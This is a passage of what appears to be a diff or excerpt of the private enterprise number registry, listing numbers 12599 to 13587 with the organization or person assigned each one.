+12599 Ordyn Electronic Systems Private Limited
+12600 Peramon Technology Ltd
+12601 Reed College
+12602 RooNetworks Inc.
+12603 ShadowSupport, Inc.
+12604 Spatial Wireless
+12605 SHOM
+12606 MBB Gelma GmbH
+12607 Advance Fiber Optics Inc
+12608 Ahapala
+12609 Ascella Technologies
+12610 Aspen Business Logic Computing
+12611 Atlantique Software
+12612 Barco BCI
+12613 BroadJump
+12614 CiRBA Inc.
+12615 Craig F. Donlan
+12616 DataCorp
+12617 Espedair Systems
+12618 EZHi Technologies, Inc.
+12619 UFRGS
+12620 Future System Consulting Corp.
+12621 GE Medical System Information Technologies SW GmbH & Co.KG
+12622 Devicescape Software, Inc.
+12623 IRCI S.A.
+12624 Kennesaw State University
+12625 LabBook, Inc
+12626 Ministry of Education, Singapore
+12627 Morgan Stanley S.V.S.A
+12628 Movielink
+12629 MSE
+12630 m-solutions Ltd.
+12631 Nets AG
+12632 Objekt Management
+12633 Oceanbay Internet Services
+12634 PICMG
+12635 Redsonic, Inc.
+12636 Scripps College
+12637 Shazam Entertainments ltd
+12638 Siennax
+12639 Supercable
+12640 The Houston-Harris County Immunization Registry
+12641 TRIBUNAL REGIONAL DO TRABALHO da 10ª REGIÃO
+12642 University of Southern Mississippi
+12643 UTI Systems S.A.
+12644 VISAA
+12645 Vodafone Information Technology and Technology Management
+12646 WideBand Corporation
+12647 Lulea University of Technology
+12648 Systek Information Technology Ltd.
+12649 Utfors AB
+12650 Administrative Management Group, Inc.
+12651 Alaska Department of Labor
+12652 Eivind Olsen Datakonsulent
+12653 Armitel
+12654 ATH system
+12655 exceet Secure Solutions GmbH (formerly 'AuthentiDate International AG')
+12656 Avest Plc.
+12657 Birmé Consulting
+12658 Blue Star Sustainable Technologies Inc.
+12659 Brazier & Welch
+12660 CacheWare, Inc.
+12661 Caroline Chisholm Catholic College
+12662 CHM Inc.
+12663 DocFi
+12664 DotCall
+12665 Enfotec, Inc.
+12666 Etagon
+12667 ETERE
+12668 Garuda Networks
+12669 Hanenkamp.com
+12670 Indigo Development Corp.
+12671 Institut fuer System-Management
+12672 isMobile AB
+12673 iTelco Communications, Inc.
+12674 Kaon Interactive Inc
+12675 Linux Unlimited, LLC
+12676 Logical
+12677 Mackeeg, Inc.
+12678 Nankai University Chuangyuan Information Technologies Co., Ltd.
+12679 NextFuture
+12680 Objective Dynamics Ltd
+12681 Parker Abex NWL
+12682 PC Info Solutions
+12683 PreCache Inc.
+12684 Quantum Solutions
+12685 SCS Engineers
+12686 SDS GmbH
+12687 SiliconLogic Ltd.
+12688 Sohu.com Inc
+12689 SUPERONLINE INTERNATIONAL ONLINE INFORMATION AND COMMUNICATION SERVICES Inc.
+12690 Technology Leaders, LLC
+12691 Terilogy Co., Ltd.
+12692 Think4You IT Services GmbH
+12693 Ti.KOM Tirol Kommunikation
+12694 UNIVERSITE PARIS-EST MARNE-LA-VALLEE
+12695 VS Vision Systems
+12696 Xavier College
+12697 YoungHome.Com, Inc
+12698 AFRANET Co. Ltd,.
+12699 Moy Corporation
+12700 UNC Health Care
+12701 Tuxnology
+12702 724 Solutions Inc
+12703 Acelet
+12704 ALLTEL Corporation
+12705 BAX Global
+12706 BYTERAGE, INC
+12707 Connect Systems Inc
+12708 CyberLancet Corporation
+12709 Davies, Inc.
+12710 Dedicated Hosting Services
+12711 Experian Limited
+12712 Four Corners Telecommunications Corp
+12713 HighSpeed Surfing
+12714 Ikosaeder
+12715 Indian Institute of Technology, Bombay
+12716 Infologigruppen Norr AB
+12717 InterSAN, Inc
+12718 Rheinische Friedrich -Wilhelms-Universitaet Bonn
+12719 Open Software Services, LLC
+12720 Reliant Resources
+12721 Rendition Networks Incorporated
+12722 Rite Aid Corporation
+12723 Seisint Inc.
+12724 Sensinova AB
+12725 Santa Clara County
+12726 Sudoeste Serviços de Telemática Ltda
+12727 Supervise Network
+12728 SYSWILL
+12729 Be Shaping The Future - Performance, Transformation, Digital GmbH
+12730 TECSys Development, LP
+12731 UTI Systems S.A.
+12732 VoIP Group Inc.
+12733 Savvius, a Live Action Company
+12734 Northrop Grumman Information Systems
+12735 VFSPIH
+12736 Elo & Mahout & Co
+12737 Algenib Software, Inc.
+12738 BMW of North America
+12739 dgstar co., Ltd.
+12740 EqualLogic
+12741 ErgoIntegration AS
+12742 HomeConcept
+12743 Integrated Service Lab
+12744 Nakisa Inc.
+12745 Nordisk Språkteknologi AS
+12746 Spinoza Technology Inc.
+12747 Teamsoft Inc.
+12748 Telenor ASA
+12749 UTA Telekom AG
+12750 xi'an huahai medical info-tech co.,ltd.
+12751 e-chiceros
+12752 Acta Technology, Inc.
+12753 Biomedical Informatics Laboratory
+12754 bTurtle
+12755 Cup 2000 spa
+12756 Delta Networks, Inc.
+12757 eCubeNet.com
+12758 ExPet Technologies, Inc.
+12759 Garban Intercapital
+12760 h00.org
+12761 Hipbone, Inc.
+12762 iMpacct Technology Corp.
+12763 ISK Systems Ltd
+12764 MEDIAOCEAN
+12765 Mintera Corp.
+12766 Mobixell Networks Inc.
+12767 National Computer Helpdesk
+12768 NaviSite Inc
+12769 netvigator.com
+12770 Nyttab Ab / SurfNet
+12771 Palfrader
+12772 PZU Zycie SA
+12773 Resource Center
+12774 Sengent, Inc.
+12775 Shiron Satellite Communications Ltd.
+12776 The Box IT
+12777 TNG - the net generation GmbH
+12778 TranTech, Inc.
+12779 University of Vermont
+12780 VOLKTEK Corporation
+12781 Progeny Linux Systems
+12782 Rost+Oberndoerfer Consulting GbR
+12783 University of Maine System
+12784 Teamware Group AB
+12785 Amacis Ltd
+12786 Automatos, Inc.
+12787 AxxessAnywhere
+12788 BladeLogic Inc
+12789 Centre for Integrated Computer Systems Research
+12790 CESKY TELECOM a.s. - Imaginet o.z.
+12791 Data & Control Systems Ltd
+12792 Embarcadero Technologies, Inc.
+12793 EUREM GmbH
+12794 Frank
+12795 HCC Hobbynet
+12796 I/O Software
+12797 Interactive Payer Network
+12798 Internet Kayttajat Ikuisesti - IKI ry
+12799 IPv6 Research and Development
+12800 iqdoq
+12801 Linuxmagic
+12802 Mathcom Solutions Inc
+12803 Multitask Consultoria Ltda
+12804 National Library of Australia
+12805 Notnet Webhosting
+12806 Peter Stamfest
+12807 Rabbit Semiconductor
+12808 S2IO Technologies Corp.
+12809 San Diego Unified School District
+12810 Saratov State University
+12811 SatService GmbH
+12812 Trustwave Holdings, Inc.
+12813 Speedwise Technologies
+12814 Staatliche Studienakademie Leipzig
+12815 Terraspring, Inc.
+12816 Universität Trier
+12817 Z-World Incorporated
+12818 The Key Centre for Human Factors and Applied Cognitive Psychology
+12819 Banque Generale du Luxembourg
+12820 Electrum Information Technology Co.Ltd
+12821 e-Pie Entertainment & Technology Corporation(Beijing)
+12822 icu
+12823 AMIT, Inc.
+12824 AndTeK GmbH
+12825 ATC Information Services
+12826 AXL Performance Solutions Ltd
+12827 Barco, Inc.
+12828 Blue Heron Biotechnology Inc
+12829 Brady Motor Sports
+12830 Central Florida Main
+12831 Codemark
+12832 COUNCIL OF EUROPE
+12833 Covansys
+12834 CPE
+12835 Digitrust - Certificadora Notarial SA
+12836 E-Advies
+12837 Polytech'Lille
+12838 Exis Srl
+12839 German Gutierrez
+12840 Griffin Plaza Partners, LLC
+12841 Interactive TKO Inc.
+12842 Mediso Ltd.
+12843 MIPTelecom
+12844 Northern Michigan University
+12845 Oak Lawn School District 229
+12846 ObjectCode
+12847 Orincon Corporation
+12848 Saddleback College
+12849 SKYRIX Software AG
+12850 Smart Tech Consulting
+12851 Syncope Communication Systems GmbH
+12852 SYSPAK
+12853 Technical Toys Limited
+12854 tellion
+12855 Vastweb Technology Ltd.
+12856 Verge Networks
+12857 Williams College
+12858 eNetrex Inc.
+12859 HIGHWAY.RU
+12860 Zaryba Ltd
+12861 Bayerische Beamten Versicherungen
+12862 NEEF LAPPCOM GmbH
+12863 AirLink Technology, Inc.
+12864 INCOGEN, Inc
+12865 Amin Group
+12866 CardEngine Inc.
+12867 Cedar Point Communications
+12868 CET Technologies Pte Ltd
+12869 Codent Networks
+12870 Danlab Electronics A/S
+12871 die netzwerker GmbH
+12872 DTE Energy
+12873 E.C.C. sa
+12874 EFM networks Inc.
+12875 ExperShare
+12876 Fokker Space
+12877 FORTIS
+12878 Griffin Network Consulting
+12879 IDNT Integrated Digital Network Technologies
+12880 kiwi interaktive medien gmbh
+12881 KnowGeeks
+12882 LGC Wireless
+12883 Martinsson informationssystem
+12884 Moody Bible Institute
+12885 MyArtic Communities
+12886 National Technical Systems
+12887 Netplex AB
+12888 Prokom Bilgisayar ve Danismanlik Hizmetleri San. ve Tic. Ltd.Sti.
+12889 PTC
+12890 Shorty
+12891 Syndicat Interhospitalier Limousin
+12892 University of Patras
+12893 VisioWave S.A.
+12894 Wmode Inc
+12895 Xsetup
+12896 Xtria Healthcare
+12897 ZiLOG Inc.
+12898 Sinter Consulting
+12899 Visogent Technologies
+12900 ITEC
+12901 Institute of Software,Chinese Academy of Sciences
+12902 Advanced Network Technology Laboratories Pte Ltd
+12903 Bayshore Networks, Inc.
+12904 EVault, Inc.
+12905 Indian Institute of Technology Guwahati
+12906 japc
+12907 Kansai Broadband Planning Corp.
+12908 Litech Systems Design
+12909 Machine Vision Products, Inc.
+12910 Next Element
+12911 Oce NV
+12912 PeerPro
+12913 Procera Networks, Inc.
+12914 Production Robots Engineering Ltd
+12915 Radio Free Europe/Radio Liberty, Inc.
+12916 Rockland Community College
+12917 Saber e Lazer, SA
+12918 TDI- Transistor Devices, Inc
+12919 XAVi Technologies Corporation
+12920 Xteam Software Co, ltd
+12921 Yeaman Associates
+12922 Your Voice S.p.A.
+12923 Kigyo Zanmai Corp.
+12924 Klon/Jawor Association
+12925 3PAR Data
+12926 Anheuser-Busch
+12927 Axiom (Cambridge) Ltd
+12928 Clarus Systems
+12929 Cliff Berg
+12930 CVS Travelhost International Pty Ltd
+12931 Dreefs GmbH Schaltgeräte & Systeme
+12932 FESD GmbH
+12933 Global Orchestra
+12934 Hunkeler AG
+12935 i3 micro technology ab
+12936 InCert Software Corporation
+12937 Infradig Systems
+12938 Innovative Technology Solutions, Inc.
+12939 Modus (Scotland) Ltd
+12940 Pedestal Networks
+12941 Press-Data
+12942 SANSHA ELECTRIC MFG.CO.,LTD
+12943 Sengena
+12944 Sockeye Networks, Inc.
+12945 SoftProject GmbH
+12946 State Services Commission
+12947 SyntheSys Secure Technologies Inc.
+12948 Syred data systems
+12949 T-Online France
+12950 Venngo Inc.
+12951 VerizonWireless
+12952 warpFactor Inc.
+12953 Xandros Corporation
+12954 WM-data SDC a/s
+12955 Metarete s.r.l.
+12956 Aarhus Universitet
+12957 BLUE MARS GmbH
+12958 Questerra
+12959 am professional services
+12960 Andelina Corporation
+12961 Andrew Hewett Consulting
+12962 Decru, Inc.
+12963 DIMONsoft
+12964 ftlight.net
+12965 New Media Data Marketing, Inc.
+12966 Next Generation Systems, Inc.
+12967 Petrobras - Petroleo Brasileiro S.A.
+12968 Menno Pieters (formerly 'Stelvio')
+12969 The Rockefeller University
+12970 Urban Development Co.
+12971 bigdom.com
+12972 Callion Electronics Co., Ltd.
+12973 Wuhan Public Information Co.Ltd.
+12974 barrigon.com
+12975 brainaid
+12976 coWlan
+12977 Level II Inc.
+12978 Michael Fromme EDV-Beratung
+12979 Optimacy Corporation
+12980 Person co., Ltd.
+12981 Rotterdam CS
+12982 Synergy International Ltd
+12983 TBS INTERNET
+12984 Terraplay Systems AB
+12985 University of St Andrews
+12986 Verlagsgruppe Straubinger Tagblatt / Landshuter Zeitung
+12987 Vineyard.NET, Inc.
+12988 Vistorm Limited
+12989 XIP
+12990 Star Communication Network Technology Co., Ltd.
+12991 California College of Arts & Crafts
+12992 T&A SYSTEME GmbH
+12993 weitlandt. Communication
+12994 Abisoft Ltd.
+12995 Accet Network Inc
+12996 adconsys AG
+12997 Advanced Biometrics, Inc.
+12998 Agile Software
+12999 Altiris
+13000 Anglia Polytechnic University
+13001 Anuvio Technologies
+13002 Augsburg College
+13003 Banca I.M.I.
+13004 beamNet
+13005 Bitrage, Inc.
+13006 CAE-Technik Schmitt
+13007 California Regional Intranet, Inc.
+13008 CanPrint Communications Pty. Ltd.
+13009 Coma
+13010 Computer Business Sciences Ltd.
+13011 Consejo General del Notariado
+13012 Cramer Systems Limited
+13013 Denisowski Consulting
+13014 Dreamcode Software Inc.
+13015 Eastern Electronics Co., Ltd
+13016 eMagic.com
+13017 e-Solutionist Inc.
+13018 ETH Zurich, Department of Computer Science
+13019 ETSI
+13020 Florida International University
+13021 Halifax Cetelem Credit Ltd
+13022 handhelds.org
+13023 Hub2b
+13024 Imagistics International Inc.
+13025 Inferno Labs
+13026 IT Intergroup ApS
+13027 IXOS Software AG
+13028 Kuokoa Networks, Inc.
+13029 Managed Service Partners International
+13030 Monitor724 Services Limited
+13031 NextGen Business Solution, Inc. (previously 'neix,Inc.')
+13032 Reach Technologies
+13033 shockunit productions
+13034 SoftNet Systems, Inc.
+13035 Sonangol
+13036 Stradient, Inc.
+13037 Subnetworx Corporation
+13038 TELE Greenland Inc.
+13039 Tennessee Technological University
+13040 The Horde Project
+13041 Think Dynamics
+13042 Trust Company of America
+13043 University of Wisconsin - River Falls
+13044 Unternehmensberatung Rahn
+13045 Uptime Devices, Inc.
+13046 VisionShare Inc
+13047 Welliver Enterprises
+13048 Xorba, Inc.
+13049 Yacc Labs Ltd.
+13050 Ydilo Advanced Voice Solutions S.A.
+13051 MetaSolv Software, Inc.
+13052 Telefonbau Arthur Schwabe GmbH & Co KG
+13053 TIS System Service Inc.
+13054 Ram Corp
+13055 ShangHai JingLun Technologies CO.,LTD.
+13056 Tai Ping Life Insurance Co, Ltd.
+13057 Hays DSIA France
+13058 National Hockey League
+13059 Ahold Supermercados
+13060 Airpath Wireless, Inc.
+13061 AlphaC srl
+13062 Ascom
+13063 Cambian
+13064 Claymountain Solutions Oy
+13065 Colomsat S.A.
+13066 Connaught Air Services
+13067 CSH
+13068 CzajSOFT
+13069 Diveo do Brasil Telecom. LTDA
+13070 Drutt Corporation
+13071 ESDS
+13072 Gallery IP Telephony Ltd.
+13073 gate5 AG
+13074 Labyrinth Connections
+13075 My Linux ISP
+13076 MyCompany
+13077 NetWolves Technologies Corporation
+13078 NSSoft, Inc
+13079 Persay LTD
+13080 Persona Inc.
+13081 Pretax Systems Oy ltd
+13082 Shanghai Sunrise Electronic Technology Co. Ltd.
+13083 Signal Technology Corporation
+13084 Sonae Distribuição Brasil S.A.
+13085 StreamSec
+13086 Yamagata Prefectural Government
+13087 Vaelit Group.
+13088 Adquira España
+13089 Aristotle University of Thessaloniki, Department of Physics
+13090 Artifact Entertainment
+13091 Bethel College and Seminary
+13092 Cellcloud Technologies Pvt Ltd
+13093 College of Education
+13094 Contego Solutions LLC
+13095 Dalhousie University
+13096 Dan of Steel
+13097 Dascom Technology Co.Ltd
+13098 dpa AFX Wirtschaftsnachrichten GmbH
+13099 Drybridge Consulting
+13100 fun communications GmbH
+13101 GETEDES
+13102 Hauni Maschinenbau AG
+13103 Ilevo AB
+13104 Infraservices Corporation
+13105 Ingenium Technology Srl
+13106 JLF Network
+13107 JMatica Srl
+13108 Linuxlab
+13109 Liontech Co., Ltd.
+13110 Manageable Inc.
+13111 mcgu.net Consulting
+13112 MDS Proteomics Inc.
+13113 MindTribe
+13114 Nextra Investment Management SGR S.p.A.
+13115 Open Connections
+13116 P & J Systems Support Station
+13117 Plat'Home Co.,Ltd.
+13118 PointDx, Inc.
+13119 RAmEx Ars Medica, Inc.
+13120 RASilient Systems, Inc.
+13121 Signatron Technology Corporation
+13122 Software Research Associates, Inc.
+13123 Starbak Communications Inc.
+13124 Terra Marketing
+13125 TEYTEL, S.A.
+13126 themountain
+13127 Thomas Jefferson University Hospital
+13128 Universe Software
+13129 UPMC
+13130 Video Products Group
+13131 de Passievruchten
+13132 Softing Europe S.A.
+13133 Michelin
+13134 Founder Broadband Network Technology Co.,Ltd
+13135 SJTeK
+13136 AlexS.DE Private Network
+13137 Biocare sarl
+13138 Boiled Frog Trading Co-operative
+13139 caribNav Holdings, LLC
+13140 Cluster File Systems, Inc.
+13141 FDK CO.LTD
+13142 I M Consultancy Pty Ltd
+13143 I&SI S.p.A.
+13144 Jakob Hatteland Computer AS
+13145 Klik Systems Inc.
+13146 Klomp
+13147 Leadfly Technologies Co., Ltd.
+13148 LeanLogistics
+13149 Lee Printing, Inc.
+13150 m&m consulting intl
+13151 MB Consultants
+13152 Octalis S.A.
+13153 RFSAW
+13154 RPost, Inc.
+13155 Shimanek
+13156 SwitchPoint Networks, Inc
+13157 Tsinghua Unisplendour Bitway Networking Technology Co.,Ltd.
+13158 Universitaet Muenster
+13159 ZF Friedrichshafen AG
+13160 Cerca.com S.r.l.
+13161 Quattro Software Limited
+13162 Software Quality Engineering
+13163 Ministry of Justice, Finland
+13164 CyberSuperStore, Inc.
+13165 9105 - 1938 Québec Inc.
+13166 Acamar Systems
+13167 Oeko.neT Mueller & Brandt
+13168 Aries e-Publishing
+13169 UNIPOWER, LLC. - IPS (formerly 'C&D Technologies, Inc.')
+13170 caresys GmbH
+13171 Cilys
+13172 Dark Side of the Moon Software
+13173 DILAX Intelcom GmbH
+13174 Eglin Air Force Base
+13175 Eurofer
+13176 European Bank for Reconstruction and Development
+13177 Firmaprofesional, SA
+13178 Fremont Computer Corporation
+13179 Internet Information Group
+13180 JR Software
+13181 Junot Systems Inc.
+13182 kapsch TrafficCom AG
+13183 Kevab Thebasestationcompany
+13184 Lanscape Netzwerkdienste GmbH
+13185 Laqtib, Inc.
+13186 Light Computing Services Ltd
+13187 MDlink GmbH
+13188 Miami University Libraries
+13189 MITAKE
+13190 Northrop/Grumman- INRI division,NTCSS Support System
+13191 OneAccess
+13192 PCLinX snc
+13193 Portelco (Asia) Limited
+13194 PORTSITE GmbH
+13195 Proditec
+13196 SBS GmbH & Co OHG CWS 41
+13197 Security Crossing
+13198 Signtrust
+13199 SiMind Inc
+13200 BPK Penabur
+13201 TJH Internet SP
+13202 United States Advanced Network, Inc.
+13203 University of Pretoria
+13204 VIA NET.WORKS Deutschland GmbH
+13205 WebSwimmer LLC
+13206 BSM Consulting
+13207 NTNU
+13208 ARGSOFT
+13209 Aptilo Networks AB
+13210 Armstrong Group of Companies
+13211 AT4.NET INTERNET Y COMUNICACION, SL
+13212 bTrade, Inc.
+13213 Centre Tecnologic de Manresa
+13214 Comunitel Global S.A.
+13215 Cougaar
+13216 Digital Age Design
+13217 FH Furtwangen
+13218 Flowring Technology
+13219 Gliwickie Stowarzyszenie Internautów
+13220 Interconnected Generation
+13221 Kubota Systems Inc.
+13222 Millicom Peru
+13223 mwain Corp
+13224 Net Integration Technologies
+13225 Network Services Group, LLC
+13226 Network Technology Solutions
+13227 Officescape
+13228 Redline Telecommunications SA (pty) Ltd
+13229 Samad Pty Ltd
+13230 San Diego Supercomputer Center
+13231 SchlumbergerSema Japan
+13232 SpottedOwlRecipes.com
+13233 Hockey Services (formerly 'Vimia GmbH')
+13234 TELPRO Ltd.
+13235 Teralink Communications
+13236 The Brick Warehouse Corporation
+13237 US Process, Inc
+13238 Vienna University of Economics and Business Administration
+13239 Vodatel
+13240 VoIP Pty Ltd
+13241 Wieland Gmeiner
+13242 InfoCrypt
+13243 Chip PC
+13244 Duniya Technologies, Inc.
+13245 HST
+13246 Alliente, Inc.
+13247 City of Naantali
+13248 General Electric Power Management
+13249 ICEM Technologies GmbH
+13250 INECO
+13251 Ingenix
+13252 Kodansha Ltd.
+13253 ky-on
+13254 London Stock Exchange
+13255 net mobile AG
+13256 Rabid Badgers
+13257 Registradores de la Propiedad y Mercantil de España
+13258 Secretaria de Educación del Distrito (Bogota D.C Colombia)
+13259 solution-x Software GmbH
+13260 Study Area Training Center
+13261 T-Systems ITS GmbH - DMS/PP
+13262 ZbW - Zentrum fuer berufliche Weiterbildung
+13263 Professional Systems Integration
+13264 Atmel Germany GmbH
+13265 Atofina
+13266 C2 Creation
+13267 Urban Traffic Management and Control (UTMC) (formerly 'City of York Council')
+13268 Clark Hill PLC
+13269 Complete Network Solutions, Inc.
+13270 Computing Center of Northeastern Univ.
+13271 Current Technologies
+13272 DaniloMassa
+13273 Design IT Solutions Ltd
+13274 Digital Media Lab Corporation
+13275 Golden Square Post Production
+13276 gsta
+13277 IEEE 802.11
+13278 iNabling Technologies
+13279 Intergate Browser Systems, Inc.
+13280 Internet Express, Inc.
+13281 IPSYN
+13282 Kaparel Corporation
+13283 Laitilan Puhelinosuuskunta
+13284 London Stock Exchange
+13285 LYCOS FRANCE
+13286 MDM I&C
+13287 Membrain Technologies
+13288 MIS@MHIT
+13289 Neoscale Systems
+13290 nextSource, Inc.
+13291 Ogangi Corporation
+13292 feel3 UG (haftungsbeschraenkt) (formerly 'oneShell Internet Services GmbH')
+13293 OTTO International (Hong Kong) Ltd.
+13294 ph03n1x.net - Development
+13295 Portugalmail
+13296 SOFTINTEGRO
+13297 Soliton Associates Limited
+13298 SYNER S.A.
+13299 Syntlogo GmbH
+13300 Syrén Software AB
+13301 Teksouth Corporation
+13302 The Advantage Media Group
+13303 The Gillette Company
+13304 T-Systems Solutions for Research GmbH
+13305 BFH Bern University of Applied Sciences
+13306 University of Montana
+13307 V.R.A.M. Rt.
+13308 Városmajori Gimnázium
+13309 Visanti A/S
+13310 wwwolf
+13311 Joys Online, Inc
+13312 Factor-TS Ltd.
+13313 ANALOG
+13314 Blank
+13315 BlueCat Networks
+13316 Byteworks
+13317 Celite Systems Inc.
+13318 Clarity AG
+13319 Dipartimento di Biochimica e Biotecnologie Mediche
+13320 Griffin Development
+13321 Incard spa
+13322 Peel Teaching Assistants Association
+13323 SoftLogic Solutions
+13324 Web-Addr LLC
+13325 Associated Press
+13326 Bermai
+13327 htds
+13328 Apoapsis Ltd
+13329 Area51
+13330 Ceyoniq Incorporated
+13331 CICAIA - Universita` di Modena e Reggio Emilia
+13332 Credit Union Central Alberta Limited
+13333 ClearSky Technologies, Inc. (formerly 'Data On Air')
+13334 Hewett Inc.
+13335 Internet Information Services
+13336 IronHide Corp
+13337 Kochan und Partner
+13338 Krocus Communications Oy
+13339 Lange Software GmbH
+13340 Lee Bradshaw
+13341 Live Systems Integration
+13342 Unassigned
+13343 Networking Laboratory of DMIS, BUTE
+13344 Ningbo Success Information Industry CO.,LTD.
+13345 Pacificorp
+13346 Pace France (formerly 'Philips CE STB')
+13347 Qbranch
+13348 Randall Kunkee
+13349 RMP & Associates
+13350 SDN Online, Inc.
+13351 Shanghai Mining Computer Software Co., Ltd.
+13352 SNS Solutions
+13353 Sonofon
+13354 SpaceTime Co., Ltd.
+13355 Stodge.org
+13356 Summit Imaging, Inc.
+13357 SunGard Bi-Tech
+13358 Tim O Callaghan
+13359 TM Ryder Insurance Agency, Inc.
+13360 Trinity Convergence
+13361 Université François Rabelais
+13362 University of Applied Sciences Stralsund
+13363 University of Southern California
+13364 ViaBridge
+13365 ViewBridge Technologies, Inc
+13366 W*H Interactive Ltd
+13367 Whale Queens Org
+13368 Zand Elektronic
+13369 Zeta Associates Incorporated
+13370 7+ Computer Networks Ltd.
+13371 Qualityware Informática Ltda.
+13372 UGC
+13373 Apt Minds, LLC
+13374 Axitus
+13375 Brainzsquare Inc.
+13376 Carambole
+13377 Conceptis Technologies Inc
+13378 Concretio India Private Limited
+13379 Crysec GmbH
+13380 DOTSTAR Technology
+13381 DRP Data
+13382 INTEC International GmbH
+13383 iNTELEGO
+13384 Letins Corporation
+13385 Mount Saint Mary College
+13386 Nagar
+13387 NeuroStar Solutions
+13388 Ticoon Technology Inc.
+13389 Wraith Computer Systems
+13390 AV Automotive Group
+13391 Callaway Golf
+13392 Cavena Image Products AB
+13393 Cite-SI
+13394 Colligo Networks
+13395 CommerceQuest, Inc.
+13396 DANVILLE ASSOCIATES
+13397 DemandTec Inc.
+13398 SicherByte GmbH Dr. Ralf Schwedler
+13399 Dune Semiconductor
+13400 Vertiv Tech Co.,Ltd. (formerly 'Emerson Network Power Co.,Ltd.')
+13401 ETE Software
+13402 Exent Technologies Ltd.
+13403 Foton-2000 Kft.
+13404 fSONA Communications
+13405 Inside Products
+13406 Institute of Medical and Veterinary Science
+13407 Link2it Corp.
+13408 Macrobyte Resources
+13409 Mega System Technologies, Inc.
+13410 National Public Radio
+13411 ms Neumann-Elektronik GmbH
+13412 Ophios GmbH
+13413 Olabisi.com
+13414 Pairlink
+13415 Schlag&rahm GmbH
+13416 SecurityMatrix, Inc.
+13417 silicon broadcasts, Inc.
+13418 SKKU Information and comunication lab
+13419 SRS SAKURA Internet Inc.
+13420 Surgitec Pte Ltd
+13421 Tango Telecom Limited
+13422 Uniscope
+13423 universite de valenciennesJean-Luc Petit, Jean-Guy Avelin
+13424 UPC Netherlands
+13425 Virtual Space Research
+13426 WZab Software
+13427 Artesyn Embedded Technologies
+13428 JAPAN STORAGE BATTERY CO., Ltd.
+13429 Queen Elizabeth School Old Students' Association
+13430 Shanghai Online Bussiness Co.,Ltd.
+13431 A2E Ltd
+13432 CampusEdge Apartments
+13433 CodeZombie.com
+13434 DYSER S.R.L.
+13435 General Magic, Inc.
+13436 iControls, Inc.
+13437 libits
+13438 Logic Eastern(I) Pvt Ltd
+13439 Melle Service GmbH
+13440 Network Telephone
+13441 Norfolk Southern Corp
+13442 OpenVES
+13443 OZIS
+13444 Robert Bird and Partners
+13445 Silicon Cocoon Pty.Ltd.
+13446 Singapore Cable Vision Limited
+13447 The Training Mann
+13448 Transat Technologies, Inc.
+13449 trusdata.com
+13450 TT&S Tecnologia e Sistemas Ltda.
+13451 Network Information Center, univ.of buaa
+13452 My Lan Guys
+13453 Lanmix Technology Co.
+13454 Hays Supply Chain
+13455 Deutsche Rentenversicherung Rechenzentrum Leipzig
+13456 A.E.T. Europe B.V.
+13457 ARM Holdings plc
+13458 ATMedia GmbH
+13459 CAIS
+13460 COMELIS
+13461 eBsuccess Solutions Inc.
+13462 estei
+13463 Fort Wayne Community Schools
+13464 GCOM Technologies Co.,Ltd. (formerly 'GREENNET TECHNOLOGY CO.,LTD.')
+13465 Ingate Systems AB
+13466 Jabber, Inc.
+13467 Medasys
+13468 Montclair State University
+13469 netLibrary, Inc.
+13470 SecureGUARD GmbH (formerly 'Otto Security & Software Technologie GmbH')
+13471 PowerWAN, Inc
+13472 RTS Realtimes Systems (Deutschland) AG
+13473 SafeWeb, Inc.
+13474 Sierra Systems Group Inc.
+13475 SnapTrack, Inc.
+13476 Telemant Corp.
+13477 Shanghai HAORUN Technologies Ltd.
+13478 Clear2Talk Ltd
+13479 dstl
+13480 Anyware Technology, Inc.
+13481 Appload Nordic AB
+13482 ATL Telecom
+13483 Aviri
+13484 Choice One Communications
+13485 Comindico
+13486 Princeton University
+13487 CorVu Corporation
+13488 DNCP, LLC
+13489 Eastern Goldfields Senior High School
+13490 Eplication
+13491 EuroMACC Ltd.
+13492 First Data Merchant Services
+13493 Global Science & Technology, Inc.
+13494 Illinois Mathematics and Science Academy
+13495 INAT GmbH
+13496 Institute of Informatics, Slovak Academy of Sciences
+13497 IT3 Consultants
+13498 KKE, Inc
+13499 Metoda S.p.A.
+13500 MPL AG
+13501 Nexstar Financial Corporation
+13502 OneSquared
+13503 Orchestria Limited
+13504 Polkomtel S.A.
+13505 PROCOS AG
+13506 Psionic Software, Inc.
+13507 Radcom Software Romania
+13508 SIGDCI
+13509 SKY Computers
+13510 Somoma County Water Agency
+13511 SpaceIP
+13512 TeamWarrior Ltd
+13513 The Technology Partner
+13514 Unassigned
+13515 Unitech Networks .Ltd
+13516 Viloke Oy
+13517 Xi'an Jiaotong University
+13518 ABN AMRO NL/CCC
+13519 Amsoft Systems India Inc
+13520 BizWebApps
+13521 Sysnight
+13522 Account Synchronization Project
+13523 Australian Industry Group
+13524 Barham House Publishing, Inc.
+13525 Blarg! Online Services, Inc.
+13526 Clickmarks Inc.
+13527 Digitasaru
+13528 DLESE
+13529 DreamLAN Network Consulting Ltd.
+13530 Fahnestock & Co.
+13531 Commtia Systems S.A.
+13532 Pennant Systems
+13533 Petr Zahradnik Computer Laboratory
+13534 Proteus Mobile, Inc
+13535 IonPipe. Inc.
+13536 Serome Technology, Inc.
+13537 Shine Global
+13538 VideoBureau, Inc.
+13539 Voorhout Data Connection BV
+13540 Shenzhen Keybridge Communications Co.,Ltd.
+13541 DBV-Winterthur Versicherungen
+13542 Datapac s.r.o.
+13543 100 Percent IT Ltd
+13544 Acopia Networks, Inc.
+13545 Adverb Software
+13546 Alta A/S
+13547 Axiom Systems Limited
+13548 BakBone Software Inc
+13549 Banque de France
+13550 Celstream Technologies
+13551 Cofunds LTD
+13552 CQG, Inc
+13553 Cyber Space Systems, Inc.
+13554 DTN SpeedNet Services, LLC
+13555 Enterprise Business Solutions
+13556 Filtronic plc
+13557 FLOORgraphics, Inc.
+13558 Gary Reynolds
+13559 Global Technology Associates, Inc.
+13560 Grant County PUD #2
+13561 Griffith University
+13562 Information Sciences Institute, USC
+13563 Integrated Software Technologies Inc.
+13564 Logistik World GmbH
+13565 Lucent Technologies India Ltd
+13566 Neolytica
+13567 UBIqube Solutions
+13568 Neustar, Inc., a TransUnion company
+13569 OIZ
+13570 Security Integration, Inc.
+13571 TESIS SYSware GmbH
+13572 TJEdwards
+13573 Tran Empire Industries
+13574 TVG Technologies Ltd.
+13575 University of Windsor
+13576 WAGO Kontakttechnik GmbH
+13577 Youjin
+13578 apogee solutions
+13579 LMN Associates
+13580 Europ Assistance France
+13581 TAMAGAWA UNIV.
+13582 Nordija A/S
+13583 UCBIRL
+13584 Schering AG
+13585 Mangalore Refinery And Petrochemicals Limited
+13586 Woodside Networks, Inc.
+13587 Universite de Franche-Comte
